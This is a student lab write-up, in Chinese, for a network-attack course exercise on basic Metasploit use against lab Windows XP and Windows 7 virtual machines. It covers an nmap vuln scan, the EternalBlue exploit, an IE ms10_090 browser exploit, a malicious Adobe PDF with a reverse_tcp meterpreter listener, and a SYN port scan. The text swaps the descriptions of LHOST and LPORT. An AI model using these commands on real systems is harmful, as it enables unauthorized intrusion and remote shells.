2019-2020-2 20175320 《网络对抗技术》Exp6 MSF基础应用
一、实验要求
了解metasploit六大模块的功能,并能从从各模块中找出需要的功能并实现攻击。
二、实验目标
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 1.1一个主动攻击实践(成功,重复的可能较高)
- 1.2 一个针对浏览器的攻击(成功,重复的可能低)
- 1.3 一个针对客户端的攻击(成功,重复的可能低)
- 1.4 成功应用任何一个辅助模块(成功,重复的可能高)
三、实验过程
1.准备工作
本次实验主要需要用到metasploit,而在前面的实验中我们已经完成安装了。其次是被攻击的靶机,这里我安装了windows xp以及不带service pack的win 7作为靶机。
2.主动攻击实践(利用ms17_010漏洞)
(1)要利用漏洞对靶机进行攻击,首先需要对靶机进行漏洞扫描,这里我使用了namp扫描了不带service pack的win 7主机,扫描的nmap命令为:sudo nmap --script=vuln 目标ip
,扫描的结果如图所示。
(2)通过扫描,我们可以发现该win 7系统有一个编号为ms17_010的漏洞,获得系统有的漏洞后,我们在终端中打开metasploit,在msf中输入search ms17_010
命令搜索与ms17_010漏洞相关的模块。
(3)在搜索出的模块中选取exploit模块,并按照攻击效果等级的高低依次对各模块进行尝试,这里我发现ms17_010_eternalblue是可以成功攻击的。要使用ms17_010_eternalblue,需要输入命令use exploit/windows/smb/ms17_010_eternalblue
。
(4)使用use选择需要的漏洞攻击代码后,输入命令show payloads
查看可用的payload,这里我使用命令set payload windows/x64/meterpreter/reverse_tcp
选择并设置了payload。
(5)输入show options
查看攻击所需要设置的参数。在各参数中,一般在required属性中为yes、且current setting属性中没有默认值的话就需要使用set命令进行设置。
(6)设置完成后,使用exploit
命令进行攻击,即可与被攻击主机进行连接并获得shell。
3.针对浏览器的攻击(利用ms10_090漏洞)
(1)与主动攻击相似,首先打开metasploit,然后使用命令search browser
搜索与浏览器相关的模块。
(2)对搜索到的模块进行筛选,这里我们只关注攻击模块中window平台下的browser模块中对ie进行攻击的攻击代码,并且按照攻击效果的好坏(Rank属性中的good、normal等)依次对攻击代码进行尝试。最终我选择了ms10_090_ie_css_clip
这一攻击代码。选定代码后,使用命令use exploit/windows/browser/ms10_090_ie_css_clip
选择并使用模块。
(3)使用show payloads
命令显示可用的载荷,set payload windows/meterpreter/reverse_tcp
选择并使用载荷。
(4)使用show options
命令查看选项,set命令设置参数。
(5)参数设置完成后,使用exploit
命令进行攻击,将生成的URL复制到windows xp的浏览器中并打开,此时攻击主机会与被攻击主机建立连接。
(6)建立连接后,使用命令sessions
查看会话,使用命令sessions -i 会话编号
选择会话,之后输入命令shell
即可获取被攻击方的shell。
4.针对客户端的攻击(对adobe进行攻击)
(1)打开metasploit,在终端中输入命令search adobe
搜索与adobe相关的攻击模块。
(2)使用与前面相似的方法进行筛选,但这里我们需要使用exploit中的windows平台下的fileformat模块下的攻击代码。经过尝试后,我使用命令use windows/fileformat/adobe_collectemailinfo
选择并使用了攻击代码。
(3)使用命令show payloads
查看可用的载荷,接着使用命令set payload windows/meterpreter/reverse_tcp
设置载荷。
(4)使用show options
命令查看选项,set命令设置选项的参数。
(5)输入exploit
命令进行攻击,生成的恶意pdf文件复制到被攻击的xp主机中。
(6)攻击主机退出当前模块,使用命令use exploit/multi/handler
进入监听模块,windows/meterpreter/reverse_tcp
命令设置载荷,并使用set LHOST 192.168.219.134
命令设置监听端口,命令set LPORT 5320
设置攻击主机的ip地址,exploit
命令启动监听。
(7)被攻击xp主机使用adobe reader打开恶意pdf文件,攻击方可以获得被攻击主机的shell。
5.应用任何一个辅助模块(进行syn扫描)
(1)使用cd /usr/share/metasploit-framework/modules/auxiliary
命令进入辅助模块所在的文件目录,在这一目录下我们可以看见辅助模块包含的所有模块。
(2)这里我选择了辅助中的scanner模块,cd scanner
进入扫描器模块的目录,这里可以看见该模块的所有扫描功能。
(3)使用cd portscan
进入端口扫描功能的目录,该目录下我们可以看到端口扫描相关的ruby代码,这里我使用syn的方式进行扫描
(4)使用高级权限打开metasploit,use auxiliary/scanner/portscan/syn
命令使用扫描模块,然后set RHOSTS 192.168.219.139
设置需要扫描的端口。
(5)使用exploit
命令进行扫描。
四、扫描出的端口
四、实验中遇到的问题
问题一:在对浏览器进行攻击时一直卡在转移到系统级进程这一步,且靶机计划自动关机。
问题一解决方法:重新启动攻击模块,且在靶机中输入URL并完全跳转页面后再切换为攻击方的虚拟机。
问题二:使用复制模块进行扫描时输入exploit
指令后无法进行扫描。
问题二解决方法:使用高级权限运行metasploit。
五、实验感想和思考
本次实验总的来说并不是特别困难,主要了解如何获得我们需要的攻击模块。模块搜索可以到metasploit的目录下使用grep命令或在msf中使用grep命令。有些靶机虽然有着某一漏洞,但实际metasploit中对应漏洞的攻击代码无法攻击该主机,为此我们可以先打开攻击代码的ruby文件查看攻击模块的描述,看看该漏洞攻击代码能否用于靶机。虽然模块的使用并不困难,但在找到合适模块之前我们需要经过多次尝试,这就需要一定的耐心和技巧。本次实验如果要成功攻击,靶机的选择十分重要,对于有service pack补丁的靶机比较难以扫描出漏洞或是攻击成功。
思考:
-
(1)用自己的话解释什么是exploit,payload,encode.
答:exploit即为攻击相关的的模块与代码,payload用于建立连接并传输数据,encode即为编码器,用于对攻击代码进行重新编码,改变攻击代码的特征。 -
(2)离实战还缺些什么技术或步骤?
答:我觉得还缺乏更好的漏洞扫描方式以及攻击代码。实验中的靶机基本都是比较老的或者是没有打补丁的系统,如果将打了补丁的系统作为靶机,首先是比较难以搜索出系统的漏洞,其次是比较老的漏洞都被补丁进行了修复,因此使用metasploit很难攻击成功。